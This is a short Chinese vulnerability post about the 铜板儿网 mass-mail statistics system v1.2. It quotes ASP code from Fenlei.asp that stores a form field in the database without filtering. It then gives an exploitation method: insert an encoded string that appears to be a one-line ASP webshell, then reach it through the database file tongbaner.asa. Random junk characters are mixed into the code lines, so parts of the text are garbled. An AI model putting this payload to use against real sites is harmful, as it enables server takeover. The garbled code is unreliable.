铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
, K: l6 z% \, j5 D; \: j4 H
- Y5 [$ a4 h/ R/ `# P- XIF Request.QueryString("Action")="del" Then
3 O1 O* \7 R" AID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
$ Y0 i) r2 F4 dRs.Open Sql,Conn,1,3
3 \2 G# s' X; M5 {Rs.Addnew
0 V" [; W* D" N$ W" Z' G" \& w) M9 YRs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
% l3 Q7 m1 `! W& A) B( U# v* W& L" URs.Open Sql,Conn,1,1
; u' k# y* O8 ^, @. R8 K$ N4 r! {'略
4 Y8 d: J( P6 j; f% d. i%>
9 x5 E! f. X9 _9 W
; A, G" a/ F. j4 V2 U* `

# K/ m% d% |4 H! M7 X& @没有过滤，直接写入数据库。
5 t, x; Z: c8 f
  N+ F3 ~  q! f) P* Q+ [4 u% u: S利用方法：
* ]2 ~: t( i4 |( H8 c+ D
插入：┼攠數畣整爠煥敵瑳∨≡┩>


连接： http://www.xxx.com/###tongbaner.asa
2 b* ~: K. q$ e) _% K  s3 x3 u'默认安装文件：
'install.asp
) T. t' a3 `9 h5 k2 a) H+ n